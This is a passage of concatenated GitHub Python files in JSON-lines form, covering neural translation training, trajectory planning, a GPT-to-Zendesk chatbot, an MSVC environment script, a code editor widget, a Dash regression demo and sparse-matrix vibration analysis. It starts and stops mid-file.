# -----------------------------------------\n            # compute the running loss and running accuracy\n            running_loss += (loss.item() - running_loss) / (batch_index + 1)\n\n            acc_t = utils.compute_accuracy(y_pred, batch_dict['y_target'], mask_index)\n            running_acc += (acc_t - running_acc) / (batch_index + 1)\n\n            # update bar\n            train_bar.set_postfix(loss=running_loss, acc=running_acc,\n                                  epoch=epoch_index)\n            train_bar.update()\n\n        train_state['train_loss'].append(running_loss)\n        train_state['train_acc'].append(running_acc)\n\n        # Iterate over val dataset\n\n        # setup: batch generator, set loss and acc to 0; set eval mode on\n        dataset.set_split('val')\n        batch_generator = nmt_dataset.generate_nmt_batches(dataset,\n                                                           batch_size=args.batch_size,\n                                                           device=args.device)\n        running_loss = 0.\n        running_acc = 0.\n        model.eval()\n\n        for batch_index, batch_dict in enumerate(batch_generator):\n            # compute the output\n            y_pred = model(batch_dict['x_source'],\n                           batch_dict['x_source_length'],\n                           batch_dict['x_target'],\n                           sample_probability=sample_probability)\n\n            # step 3. compute the loss\n            loss = utils.sequence_loss(y_pred, batch_dict['y_target'], mask_index)\n\n            # compute the running loss and accuracy\n            running_loss += (loss.item() - running_loss) / (batch_index + 1)\n\n            acc_t = utils.compute_accuracy(y_pred, batch_dict['y_target'], mask_index)\n            running_acc += (acc_t - running_acc) / (batch_index + 1)\n\n            # Update bar\n            val_bar.set_postfix(loss=running_loss, acc=running_acc,\n                                epoch=epoch_index)\n            val_bar.update()\n\n        train_state['val_loss'].append(running_loss)\n        train_state['val_acc'].append(running_acc)\n\n        train_state = utils.update_train_state(args=args, model=model,\n                                               train_state=train_state)\n\n        scheduler.step(train_state['val_loss'][-1])\n\n        if train_state['stop_early']:\n            break\n\n        train_bar.n = 0\n        val_bar.n = 0\n        epoch_bar.set_postfix(best_val=train_state['early_stopping_best_val'])\n        epoch_bar.update()\n\nexcept KeyboardInterrupt:\n    print(\"Exiting loop\")\n","repo_name":"flashlin/Samples","sub_path":"Tempermonkey-vue3-tfjs/torch/nmt_example/train_and_valid.py","file_name":"train_and_valid.py","file_ext":"py","file_size_in_byte":6291,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"79"}
+{"seq_id":"23731402739","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom Planner import PolynomialPlanner, PrototypePlanner, GevreyPlanner\n\n# example 1 - polynomial planner\n# LISTING_START ArrayDef\nYA = np.array([0, 0, 0]) # t = t0\nYB = np.array([1, 0, 0]) # t = tf\n# LISTING_END ArrayDef\n\n# LISTING_START TimeDef\nt0 = 0 # start time of transition\ntf = 1 # final time of transition\ntt = np.linspace(t0, tf, 100) # -1 to 4 in 500 steps\n# LISTING_END TimeDef\n\n# LISTING_START PolyPlannerInstanciation\nd = 2 # smooth derivative up to order d\nyd = PolynomialPlanner(YA, YB, t0, tf, d)\n# LISTING_END PolyPlannerInstanciation\n\n# display the parameter vector\nprint(\"c = \", yd.c)\n\n# sample the generated trajectory\n# LISTING_START CalcAndPlot\nY = yd.eval_vec(tt)\n\n#plot the trajectory\nplt.figure(1)\nplt.plot(tt, Y)\nplt.title('Planned trajectory')\nplt.legend([r'$y_d(t)$', r'$\\dot{y}_d(t)$',r'$\\ddot{y}_d(t)$'])\nplt.xlabel(r't in s')\nplt.grid(True)\n# LISTING_END CalcAndPlot\n\n\n# example 2 - prototype planner\nyd2 = PrototypePlanner(YA, YB, t0, tf, d)\n\n# sample the generated trajectory\nY2 = yd2.eval_vec(tt)\n\n#plot the trajectory\nplt.figure(2)\nplt.plot(tt, Y2)\nplt.title('Planned trajectory')\nplt.legend([r'$y_d(t)$', r'$\\dot{y}_d(t)$',r'$\\ddot{y}_d(t)$'])\nplt.xlabel(r't in s')\nplt.grid(True)\n\n# example 3 - Gevrey planner\ns1 = 1.1\ns2 = 1.9\nyd3 = GevreyPlanner(YA, YB, t0, tf, d, s1)\nyd4 = GevreyPlanner(YA, YB, t0, tf, d, s2)\n# sample the generated trajectory\nY3 = yd3.eval_vec(tt)\nY4 = yd4.eval_vec(tt)\n#plot the trajectory\nplt.figure(3)\nplt.plot(tt, Y3)\nplt.title('Planned trajectory')\nplt.legend([r'$y_d(t)$', r'$\\dot{y}_d(t)$',r'$\\ddot{y}_d(t)$'])\nplt.xlabel(r't in s')\nplt.grid(True)\n\nplt.figure(4)\nplt.plot(tt, Y3[:,0],tt, Y4[:,0])\nplt.title(r'$y = \\varphi^{(0)}_{\\sigma,T}(t)$')\nplt.legend([r'$\\sigma = 1.1$', r'$\\sigma = 1.9$'])\nplt.xlabel(r't in s')\nplt.grid(True)\n\nplt.figure(5)\nplt.plot(tt, Y3[:,1],tt, Y4[:,1])\nplt.title(r'$y = \\varphi^{(1)}_{\\sigma,T}(t)$')\nplt.legend([r'$\\sigma = 1.1$', r'$\\sigma = 1.9$'])\nplt.xlabel(r't in s')\nplt.grid(True)","repo_name":"alphacentauri763/pytutorials","sub_path":"02-Trajectories-And-Control/sim/01_trajectory_planning.py","file_name":"01_trajectory_planning.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"79"}
+{"seq_id":"73908331775","text":"import openai_secret_manager\nimport openai\nimport zendesk\n\n# Authenticate using the API key\nsecrets = openai_secret_manager.get_secret(\"openai\")\nopenai.api_key = secrets[\"api_key\"]\n\n# Zendesk authentication\nzendesk_secrets = openai_secret_manager.get_secret(\"zendesk\")\nclient = zendesk.client.Client(**zendesk_secrets)\n\n# Use the GPT-3 model to generate a response\ndef generate_response(prompt):\n    completions = openai.Completion.create(\n        engine=\"text-davinci-002\", # the GPT-3 model to use\n        prompt=prompt, # the prompt to generate a response to\n        max_tokens=1024, # the maximum number of tokens to generate\n        n=1, # the number of responses to generate\n        stop=None, # a string or list of strings to stop generating tokens at\n        temperature=0.5, # the sampling temperature to use\n    )\n\n    message = completions.choices[0].text\n    return message.strip()\n\n# Message a human Zendesk assistance if the question is not answered\ndef message_zendesk_assistance(prompt):\n    response = generate_response(prompt)\n    if response == \"I'm sorry, I'm not sure how to help with that.\":\n        # create a new ticket in Zendesk\n        ticket = zendesk.ticket.Ticket(client)\n        ticket.create(\n            subject=\"Unanswered question\",\n            comment={\"body\": f\"The following question was not answered by the chatbot:\\n\\n{prompt}\"},\n            )\n    else:\n        return response\n\n# test the function\nprint(message_zendesk_assistance(\"What's the best way to get to the Statue of Liberty?\"))","repo_name":"eugenefauntleroy/app_project","sub_path":"gpt_to_zendesk.py","file_name":"gpt_to_zendesk.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"8466158464","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\nimport os\nimport io\nimport subprocess\nimport argparse\nimport re\n\n# https://docs.microsoft.com/hu-hu/cpp/build/setting-the-path-and-environment-variables-for-command-line-builds\n\npath_re = re.compile(r\"(path)=(.*)\", re.IGNORECASE)\nenvironment_variables_re = [\n    path_re,\n    re.compile(r\"(winddir|systemroot|devenvdir|extensionsdkdir\" +\n               r\"|include|lib|libpath|ucrtversion\"\n               r\"|universalcrtsdkdir|temp|tmp)=(.*)\",\n               re.IGNORECASE),\n    re.compile(r\"(framework[^=]*)=(.*)\", re.IGNORECASE),\n    re.compile(r\"(vc[^=]*)=(.*)\", re.IGNORECASE),\n    re.compile(r\"(visualstudio[^=]*)=(.*)\", re.IGNORECASE),\n    re.compile(r\"(vs[^=]+)=(.*)\", re.IGNORECASE),\n    re.compile(r\"(windows[^=]*)=(.*)\", re.IGNORECASE),\n    re.compile(r\"(__[^=]+)=(.*)\", re.IGNORECASE)\n]\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    # [arch] [platform_type] [winsdk_version] [-vcvars_ver=vc_version]\n    parser.add_argument(\"--arch\", required=True)\n    parser.add_argument(\"--vs-path\", required=True)\n    args = parser.parse_args()\n\n    output = subprocess.check_output([\n        args.vs_path,\n        args.arch,\n        \"&&\",\n        \"SET\"\n    ], shell=True, stderr=subprocess.STDOUT)\n\n    envs = {}\n    path = None\n    for line in output.splitlines():\n        for r in environment_variables_re:\n            m = r.match(line)\n            if m:\n                envs[m.group(1)] = m.group(2)\n                if r == path_re:\n                    path = m.group(2)\n                break\n\n    env_filename = \"env.\" + args.arch + \".txt\"\n    with io.open(env_filename, \"w\") as f:\n        for k, v in envs.iteritems():\n            f.write(k + u\"=\" + v + \"\\0\")\n        f.write(u\"\\0\")\n\n    tool_dir = None\n    for p in path.split(os.pathsep):\n        if os.path.exists(os.path.join(p, \"cl.exe\")):\n            assert(os.path.exists(os.path.join(p, \"link.exe\")))\n            tool_dir = p\n            break\n    assert(tool_dir)\n\n    print('env_filename = \"' + env_filename + '\"')\n    print('tool_dir = \"' + tool_dir + '\"')\n","repo_name":"matepek/jasl","sub_path":"build/toolchain/win/setup_msvc_toolchain.py","file_name":"setup_msvc_toolchain.py","file_ext":"py","file_size_in_byte":2093,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"79"}
+{"seq_id":"23582309562","text":"import os\nfrom collections import defaultdict\n\n\ndef maybe_make_dirs(path):\n    dir_name = os.path.dirname(path)\n    if not os.path.isdir(dir_name):\n        os.makedirs(dir_name)\n\n\ndef convert_tax_to_ranks(tax_str):\n    out = defaultdict(set)\n    for rank in tax_str.split(';'):\n        out[rank[0]].add(rank)\n    return out\n","repo_name":"Ecogenomics/scripts","sub_path":"treecompare/treecompare/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"23762496523","text":"import keyword\nimport pkgutil\n\nfrom PyQt5 import Qsci, QtGui\nfrom PyQt5.Qt import *\n\nfrom editor.components.editor.lexer import ViewLexer\n\nfrom toolkit.managers.system.manager import System\nfrom toolkit.utils.files import read_json\nfrom toolkit.objects.system import SystemObject, SystemObjectTypes\n\n\nclass Editor(SystemObject, Qsci.QsciScintilla):\n    ARROW_MARKER_NUM = 8\n    name = 'main_ui.editor'\n    parent_name = 'main_ui'\n    type = SystemObjectTypes.PLUGIN\n\n    def init(self, *args, **kwargs):\n        self.prepareMainSettings()\n        self.prepareLexer()\n        self.prepareAutocompletition()\n        self.prepareWraping()\n        self.prepareEdgeMarker()\n        self.prepareIndent()\n        self.prepareCaret()\n        self.setExtraSettings()\n\n    def prepareMainSettings(self):\n        font = QFont()\n        font.setFamily('JetBrains Mono')\n        font.setFixedPitch(False)\n        font.setPointSize(8)\n\n        self.setFont(font)\n        self.setEolVisibility(System.config.get('app.eol_visibility', default_value=False))\n        self.zoomTo(2)\n\n        fontMetrics = QFontMetrics(font)\n        self.setMarginsFont(font)\n        self.setMarginWidth(0, fontMetrics.width(\"00000\") + 6)\n        self.setMarginLineNumbers(0, True)\n        self.setMarginsBackgroundColor(QColor(\"cccccc\"))\n\n        self.setMarginSensitivity(1, True)\n        self.marginClicked.connect(self.onMarginClicked)\n        self.markerDefine(Qsci.QsciScintilla.RightArrow, self.ARROW_MARKER_NUM)\n        self.setMarkerBackgroundColor(QColor(\"#ee1111\"), self.ARROW_MARKER_NUM)\n\n    def prepareWraping(self):\n        # Set the text wrapping mode to word wrap\n        self.setWrapMode(Qsci.QsciScintilla.WrapWord)\n\n        # Set the text wrapping mode visual indication\n        self.setWrapVisualFlags(Qsci.QsciScintilla.WrapFlagByText)\n\n        # Set the text wrapping to indent the wrapped lines\n        self.setWrapIndentMode(Qsci.QsciScintilla.WrapIndentSame)\n\n    def prepareEdgeMarker(self):\n        # Set the edge marker's position and set it to color the background\n        # when a line goes over the limit of 50 characters\n        self.setEdgeMode(Qsci.QsciScintilla.EdgeBackground)\n        self.setEdgeColumn(50)\n        edge_color = QtGui.QColor(System.config.get('app.edge_color', default_value='ff00ff00'))\n        self.setEdgeColor(edge_color)\n\n    def prepareIndent(self):\n        # Set indentation with spaces instead of tabs\n        self.setIndentationsUseTabs(System.config.get('app.indent.use_tabs', default_value=False))\n\n        # Set the tab width to 4 spaces\n        self.setTabWidth(System.config.get('app.indent.tab_width', default_value=4))\n\n        # Set tab indent mode, see the 3.3.4 chapter in QSciDocs\n        # for a detailed explanation\n        self.setTabIndents(System.config.get('app.indent.tab_indents', default_value=True))\n\n        # Set autoindentation mode to maintain the indentation\n        # level of the previous line (the editor's lexer HAS\n        # to be disabled)\n        self.setAutoIndent(System.config.get('app.indent.auto_indent', default_value=True))\n\n        # Make the backspace jump back to the tab width guides\n        # instead of deleting one character, but only when\n        # there are ONLY whitespaces on the left side of the\n        # cursor\n        self.setBackspaceUnindents(System.config.get('app.indent.backspace_unindents', default_value=True))\n\n        # Set indentation guides to be visible\n        self.setIndentationGuides(System.config.get('app.indent.indentation_guides', default_value=True))\n\n    def prepareCaret(self):\n        # Set the caret color to red\n        caret_fg_color = QtGui.QColor(System.config.get('app.caret_fg_color'))\n        self.setCaretForegroundColor(caret_fg_color)\n\n        # Enable and set the caret line background color to slightly transparent blue\n        # self.setCaretLineVisible(True)\n        caret_bg_color = QtGui.QColor(System.config.get('app.caret_bg_color'))\n        self.setCaretLineBackgroundColor(caret_bg_color)\n\n        # Set the caret width of 4 pixels\n        self.setCaretWidth(System.config.get('app.caret_width', default_value=4))\n\n    def prepareLexer(self):\n        # lexer = Qsci.QsciLexerPython(self)\n        lexer = ViewLexer(self)\n        lexer.init()\n\n        self.setLexer(lexer)\n        self.api = Qsci.QsciAPIs(lexer)\n\n        # TEST\n\n        for key in keyword.kwlist + dir(__builtins__):\n            self.api.add(key)\n\n        for importer, name, ispkg in pkgutil.iter_modules():\n            self.api.add(name)\n\n        self.api.prepare()\n\n    def prepareAutocompletition(self):\n        # Set the autocompletions to case INsensitive\n        self.setAutoCompletionCaseSensitivity(False)\n\n        # Set the autocompletion to not replace the word to the right of the cursor\n        self.setAutoCompletionReplaceWord(False)\n\n        # Set the autocompletion dialog to appear as soon as 1 character is typed\n        self.setAutoCompletionThreshold(1)\n\n        # Set the autocompletion source to be the words in the API\n        self.setAutoCompletionSource(Qsci.QsciScintilla.AcsAPIs)\n\n    def prepareShortcuts(self):\n        self.text_size = 1\n        self.reduceTextSizeShortcut = QShortcut('Ctrl+-', self, self.reduceTextSize)\n        self.increaseTextSizeShortcut = QShortcut('Ctrl+=', self, self.increaseTextSize)\n\n    def prepareScintilaSignals(self):\n        self.SendScintilla(self.SCI_SETMULTIPASTE, 1)\n        self.SendScintilla(self.SCI_SETVSCROLLBAR, True)\n        self.SendScintilla(self.SCI_SETHSCROLLBAR, 0)\n        self.SendScintilla(self.SCI_SETMULTIPLESELECTION, True)\n        self.SendScintilla(self.SCI_SETADDITIONALSELECTIONTYPING, True)\n        self.SendScintilla(self.SCI_SETTABWIDTH, 4)\n\n    def getLineSeparator(self):\n        eolMode = self.eolMode()\n        if eolMode == Qsci.QsciScintilla.EolWindows:\n            eol = '\\r\\n'\n\n        elif eolMode == Qsci.QsciScintilla.EolUnix:\n            eol = '\\n'\n\n        elif eolMode == Qsci.QsciScintilla.EolMac:\n            eol = '\\r'\n\n        else:\n            eol = ''\n\n        return eol\n\n    def setExtraSettings(self):\n        settings = read_json(System.get_object('AssetsManager').theme_folder / 'editor/style.json').get('extra')\n        self.setIndentationGuidesBackgroundColor(QColor(0, 0, 255, 0))\n        self.setIndentationGuidesForegroundColor(QColor(0, 255, 0, 0))\n\n        if 'caret' in settings:\n            self.setCaretForegroundColor(QColor(settings['caret']))\n\n        if 'line_highlight' in settings:\n            self.setCaretLineBackgroundColor(QColor(settings['line_highlight']))\n\n        if 'brackets_background' in settings:\n            self.setMatchedBraceBackgroundColor(QColor(settings['brackets_background']))\n\n        if 'brackets_foreground' in settings:\n            self.setMatchedBraceForegroundColor(QColor(settings['brackets_foreground']))\n\n        if 'selection' in settings:\n            self.setSelectionBackgroundColor(QColor(settings['selection']))\n\n        if 'background' in settings:\n            color = QColor(settings['background'])\n            self.resetFoldMarginColors()\n            self.setFoldMarginColors(color, color)\n\n    def increaseTextSize(self):\n        self.text_size *= 2\n\n    def reduceTextSize(self):\n        if self.text_size == 1:\n            return\n\n        self.text_size //= 2\n\n    def onMarginClicked(self, nmargin, nline, modifiers):\n        # Toggle marker for the line the margin was clicked on\n        if self.markersAtLine(nline) != 0:\n            self.markerDelete(nline, self.ARROW_MARKER_NUM)\n        else:\n            self.markerAdd(nline, self.ARROW_MARKER_NUM)\n","repo_name":"uselessvevo/editor","sub_path":"editor/components/editor/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":7625,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"}
+{"seq_id":"11965108613","text":"from dash import Dash, dcc, html, Input, Output\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import linear_model, tree, neighbors\nimport plotly.graph_objects as go\nimport plotly.express as px\nimport numpy as np\n\ndf = px.data.tips()\n\napp = Dash(__name__)\n\nmodels = {\n    \"Regression\": linear_model.LinearRegression,\n    \"Decision Tree\": tree.DecisionTreeRegressor,\n    \"k-NN\": neighbors.KNeighborsRegressor,\n}\n\napp.layout = html.Div(\n    [\n        html.H4(\"Predicting restaurant's revenue\"),\n        html.P(\"Select model:\"),\n        dcc.Dropdown(\n            id=\"ml-regression-x-dropdown\",\n            options=[\"Regression\", \"Decision Tree\", \"k-NN\"],\n            value=\"Decision Tree\",\n            clearable=False,\n        ),\n        dcc.Graph(id=\"ml-regression-x-graph\"),\n    ]\n)\n\n\n@app.callback(\n    Output(\"ml-regression-x-graph\", \"figure\"),\n    Input(\"ml-regression-x-dropdown\", \"value\"),\n)\ndef train_and_display(name):\n    X = df.total_bill.values[:, None]\n    X_train, X_test, y_train, y_test = train_test_split(X, df.tip, random_state=42)\n\n    model = models[name]()\n    model.fit(X_train, y_train)\n\n    x_range = np.linspace(X.min(), X.max(), 100)\n    y_range = model.predict(x_range.reshape(-1, 1))\n\n    fig = go.Figure(\n        [\n            go.Scatter(x=X_train.squeeze(), y=y_train, name=\"train\", mode=\"markers\"),\n            go.Scatter(x=X_test.squeeze(), y=y_test, name=\"test\", mode=\"markers\"),\n            go.Scatter(x=x_range, y=y_range, name=\"prediction\"),\n        ]\n    )\n    return fig\n\n\nif __name__ == \"__main__\":\n    app.run_server(debug=True)\n","repo_name":"AnnMarieW/dash-app-gallery","sub_path":"examples/ml-regression.py","file_name":"ml-regression.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"79"}
+{"seq_id":"41543027825","text":"\n# split long list of strings into chunks of size n\ndef chunks(lst, n):\n    for i in range(0, len(lst), n):\n        yield lst[i : i + n]\n\nlst = [1,2,3,4,5,6,7,8,9,10,11]\n\n\nsub_lst = list(chunks(lst, 3))\nprint(sub_lst)\nprint(len(sub_lst))\n\n# iterate over sub_lst and print each sublist\nfor sub_lst in sub_lst:\n    print(sub_lst)\n    print(len(sub_lst))\n    print(\"\\n\")\n\n# get AAPL price data OHLC with yfinance\n# save to pandas dataframe\nimport yfinance as yf\nimport pandas as pd\n\naapl = yf.Ticker(\"AAPL\")\naapl_data = aapl.history(period=\"1d\")\nprint(aapl_data)\n\n\n\n","repo_name":"tristcoil/real_time_trading_ml","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"40459885875","text":"\"\"\"\nSystem expansion, reduction, and corrections functions for Sparse systems.\n\n@author: Joseph C. Slater and Sainag Immidisetty\n\"\"\"\n__license__ = \"Joseph C. Slater\"\n\n__docformat__ = 'reStructuredText'\n\n\n#import math\nimport numpy as np\n#import scipy.signal as sig\nimport scipy.linalg as la\nimport scipy.sparse.linalg as spla\nfrom scipy.sparse import lil_matrix\n#from scipy.sparse import csr_matrix\nimport scipy.sparse as sps\n\n\ndef sos_modal_forsparse(M, K, C=False, damp_diag=0.03, shift=1):\n\tr\"\"\"Eigen analysis of proportionally damped system.\n\n\tOptimally find mass normalized mode shapes and natural frequencies\n\tof a system modelled by :math:`M\\ddot{x}+Kx=0`.\n\n\tIf provided, obtain damping ratios presuming :math:`C` can be decoupled.\n\n\tProvides a warning if diagonalization of damping matrix fails worse than\n\trelative error of `damp_diag`.\n\n\tParameters\n\t----------\n\tM, K : float arrays\n\t\tMass and stiffness matrices\n\tC : float array, optional\n\t\tDamping matrix\n\tdamp_diag : float, optional\n\t\tMaximum amount of off-diagonal error allowed in assuming C can be\n\t\tdiagonalized\n\tshift : float, optional\n\t\tShift used in eigensolution. Should be approximately equal to the first\n\t\tnon-zero eigenvalue.\n\n\tReturns\n\t-------\n\tomega : float array (1xN)\n\t\tVector of natural frequencies (rad/sec)\n\tzeta : float array (1xN)\n\t\tVector of damping ratios\n\tPsi : float array (NxN)\n\t\tMatrix of mass normalized mode shapes by column\n\n\n\tExamples\n\t--------\n\n\n\t\"\"\"\n\n\t#Kdiag = K.diagonal().reshape(-1,1)\n\n\t#Mdiag = M.diagonal().reshape(-1,1)\n\n\t#minvals = np.sort((Kdiag/Mdiag),axis=0)\n\n\t#shift = minvals[min(7,len(minvals))]\n\n\t#shift = shift[0]\n\n\t#K = ((K.tocsr() + (K.T).tocsr()).tolil()) * 0.5 + shift * ((M.tocsr() + (M.T).tocsr()).tolil()) * 0.5\n\n\t#M = ((M.tocsr() + (M.T).tocsr()).tolil()) * 0.5\n\n\tK = lil_matrix(K)\n\n\tM = lil_matrix(M)\n\n\tK = K + M * shift\n\n\t[lam, Psi] = la.eigh(K.toarray(), M.toarray())\n\n\tlam = lam.reshape(-1,1)\n\n\tomega = np.sqrt(np.abs(lam - shift))\n\n\tomega = omega.reshape(-1,)\n\n\tnorms = np.diag(1.0 / np.sqrt(np.diag(Psi.T@M@Psi)))\n\n\tPsi = Psi @ norms\n\n\tzeta = np.zeros_like(omega)\n\n\tif C is not False:\n\t\tdiagonalized_C = Psi.T@C@Psi\n\n\t\tdiagonal_C = np.diag(diagonalized_C)\n\n\t\tif min(omega) > 1e-5:\n\t\t\tzeta = diagonal_C / 2 / omega  # error if omega = 0\n\t\t\tmax_off_diagonals = np.amax(np.abs(diagonalized_C\n\t\t\t\t\t\t\t\t\t\t\t   - np.diag(diagonal_C)), axis=0)\n\t\t\t# error if no damping\n\t\t\tdamp_error = np.max(max_off_diagonals / diagonal_C)\n\t\telse:\n\t\t\tzeta = np.zeros_like(omega)\n\t\t\tdamp_error = np.zeros_like(omega)\n\t\t\tde_diag_C = diagonalized_C - np.diag(diagonal_C)\n\t\t\tfor mode_num, omega_i in enumerate(omega):\n\t\t\t\tif omega[mode_num] > 1e-5:\n\t\t\t\t\tzeta[mode_num] = diagonal_C[mode_num] / 2 / omega_i\n\t\t\t\t\tdamp_error = (np.max(np.abs(de_diag_C[:, mode_num]))\n\t\t\t\t\t\t\t\t  / diagonal_C[mode_num])\n\n\t\tif damp_error > damp_diag:\n\t\t\tprint('Damping matrix cannot be completely diagonalized.')\n\t\t\tprint('Off diagonal error of {:4.0%}.'.format(damp_error))\n\n\treturn omega, zeta, Psi\n\n\ndef guyan_forsparse(M, K, master=None, fraction=None):\n\tr\"\"\"Guyan reduced model.\n\n\tApplies Guyan Reductions to second order system of equations of the form\n\n\t.. math:: M \\ddot{x} + K x = 0\n\n\twhich are reduced to the form\n\n\t.. math:: M_r \\ddot{x}_m + K_r x_m = 0\n\n\twhere\n\n\t.. math::\n\n\t\tx = T x_m\n\n\t\tM_r= T^T M T\n\n\t\tK_r= T^T K T\n\n\tParameters\n\t----------\n\tM, K : float arrays\n\t\tMass and Stiffness matrices\n\tmaster : float array or list, optional\n\t\tList of retained degrees of freedom (0 indexing)\n\tfraction : float, optional\n\t\tFraction of degrees of freedom (0< `fraction` <1.0) to retain in model.\n\t\tIf both master and fraction are neglected, fraction is set to 0.25.\n\n\tReturns\n\t-------\n\tMred, Kred, T : float arrays\n\t\tReduced Mass matric, Reduced Stiffness matrix, Transformation matrix\n\tmaster_dofs : int list\n\t\tList of master degrees of freedom (0 indexing)\n\ttruncated_dofs : int list\n\t\tList of truncated degrees of freedom (0 indexing)\n\n\tExamples\n\t--------\n\n\tNotes\n\t-----\n\tReduced coordinate system forces can be obtained by `Fr = T.T @ F`.\n\n\tReduced damping matrix can be obtained using `Cr = T.T @ C @ T`.\n\n\tIf mode shapes are obtained for the reduced system, full system mode shapes\n\tare `phi = T @ phi_r`.\n\n\tCode is not as efficient as possible. Using block submatrices would be\n\tmore efficient.\n\n\t\"\"\"\n\n\n\tif master is None:\n\t\tif fraction is None:\n\t\t\tfraction = 0.25\n\n\t\tratios = np.diag(M) / np.diag(K)\n\t\tranked = [i[0] for i in sorted(enumerate(ratios), key=lambda x: x[1])]\n\t\tthresh = int(fraction * ratios.size)\n\t\tif (thresh >= ratios.size) or thresh == 0:\n\t\t\tprint(\"Can't keep\", thresh, 'DOFs.')\n\t\t\tprint(\"Fraction of\", fraction, \"is too low or too high.\")\n\t\t\treturn 0, 0, 0, 0, 0\n\n\t\tmaster = ranked[-thresh:]\n\n\tmaster = np.array(master)\n\n\tncoord = M.shape[0]\n\n\ti = np.arange(0, ncoord)\n\n\ti = i.reshape(1,-1)\n\n\ti = i + np.ones((1,i.shape[1]),int)\n\n\tlmaster = master.shape[1]\n\n\ti[0,master-1] = np.transpose(np.zeros((lmaster,1)))\n\n\ti = np.sort((i), axis =1)\n\n\tslave = i[0,lmaster + 0:ncoord]\n\n\tK= lil_matrix(K)\n\n\tslave = slave.reshape(1,-1)\n\n\tmaster = master-np.ones((1,master.shape[0]),int)\n\n\tmaster = master.ravel()\n\n\tslave = slave - np.ones((1,slave.shape[0]),int)\n\n\tslave = slave.ravel()\n\n\tkss = slice_forSparse(K, slave, slave)\n\n\tksm = slice_forSparse(K, slave, master)\n\n\tT= np.zeros((len(master)+len(slave), len(master)))\n\n\tT= lil_matrix(T)\n\n\tT[master,:lmaster] = sps.eye(lmaster,lmaster)\n\n\tT[slave,0:lmaster]=spla.spsolve(-kss,ksm)\n\n\tMred = T.T * M * T\n\n\tKred = T.T * K * T\n\n\treturn Mred, Kred, master\n\n\ndef mode_expansion_from_model_forsparse(Psi, omega, M, K, measured):\n    r\"\"\"Deflection extrapolation to full FEM model coordinates, matrix method.\n\n    Provided an equation  of the form:\n\n    :math:`\\begin{pmatrix}-\\begin{bmatrix}M_{mm}&M_{mu}\\\\ M_{um}&M_{uu}\n    \\end{bmatrix} \\omega_i^2\n    +\\begin{bmatrix}K_{mm}&K_{mu}\\\\ K_{um}&K_{uu}\\end{bmatrix}\\end{pmatrix}`\n    :math:`\\begin{bmatrix}\\Psi_{i_m}\\\\ \\Psi_{i_u}\\end{bmatrix}= 0`\n\n    Where:\n\n    - :math:`M` and :math:`K` are the mass and stiffness matrices, likely from\n      a finite element model\n    - :math:`\\Psi_i` and :math:`\\omega_i` represent a mode/frequency pair\n    - subscripts :math:`m` and :math:`u` represent measure and unmeasured\n      of the mode\n\n    Determines the unknown portion of the mode (or operational deflection)\n    shape, :math:`\\Psi_{i_u}` by\n    direct algebraic solution, aka\n\n    :math:`\\Psi_{i_u} = - (K_{uu}- M_{ss} \\omega_i^2) ^{-1}\n    (K_{um}-M_{um}\\omega_i^2)\\Psi_{i_m}`\n\n    Parameters\n    ----------\n    Psi : float array\n        mode shape or shapes, 2-D array columns of which are mode shapes\n    omega : float or 1-D float array\n        natural (or driving) frequencies\n    M, K : float arrays\n        Mass and Stiffness matrices\n    measured : float or integer array or list\n        List of measured degrees of freedom (0 indexed)\n\n    Returns\n    -------\n    Psi_full : float array\n        Complete mode shape\n\n    Examples\n    --------\n    >>> import vibrationtesting as vt\n    >>> M = np.array([[4, 0, 0],\n    ...               [0, 4, 0],\n    ...               [0, 0, 4]])\n    >>> K = np.array([[8, -4, 0],\n    ...               [-4, 8, -4],\n    ...               [0, -4, 4]])\n    >>> measured = np.array([[0, 2]])\n    >>> omega, zeta, Psi = vt.sos_modal(M, K)\n    >>> Psi_measured = np.array([[-0.15], [-0.37]])\n    >>> Psi_full = vt.mode_expansion_from_model(Psi_measured, omega[0], M, K,\n    ... measured)\n    >>> print(np.hstack((Psi[:,0].reshape(-1,1), Psi_full)))\n    [[-0.164  -0.15  ]\n     [-0.2955  0.2886]\n     [-0.3685 -0.37  ]]\n\n    Notes\n    -----\n    .. seealso:: incomplete multi-mode update. Would require each at a\n      different frequency.\n\n    \"\"\"\n\n\n    measured = measured.reshape(-1)  # retained dofs\n    num_measured = len(measured)\n    ndof = int(M.shape[0])  # length(M);\n    unmeasured_dofs = list(set(np.arange(ndof)) - set(measured))\n    num_unmeasured = len(unmeasured_dofs)\n\n    M= lil_matrix(M)\n\n    K= lil_matrix(K)\n\n    Muu = slice_forSparse(M, unmeasured_dofs, unmeasured_dofs)\n\n    Kuu = slice_forSparse(K, unmeasured_dofs, unmeasured_dofs)\n\n    Mum = slice_forSparse(M, unmeasured_dofs, measured)\n\n    Kum = slice_forSparse(K, unmeasured_dofs, measured)\n\n    if isinstance(omega, float):\n        omega = np.array(omega).reshape(1)\n\n    Psi_full = np.zeros((num_measured + num_unmeasured, Psi.shape[1]))\n    Psi_full[measured] = Psi\n\n    for i, omega_n in enumerate(omega):\n        Psi_i = Psi[:, i].reshape(-1, 1)\n        Psi_unmeasured = la.solve((Kuu - Muu * omega_n**2),\n                                  (Kum - Mum * omega_n**2)@Psi_i)\n        Psi_unmeasured = Psi_unmeasured.reshape(-1, )\n        Psi_full[unmeasured_dofs, i] = Psi_unmeasured\n        # Psi_full = Psi_full.reshape(-1, 1)\n    return Psi_full\n\ndef 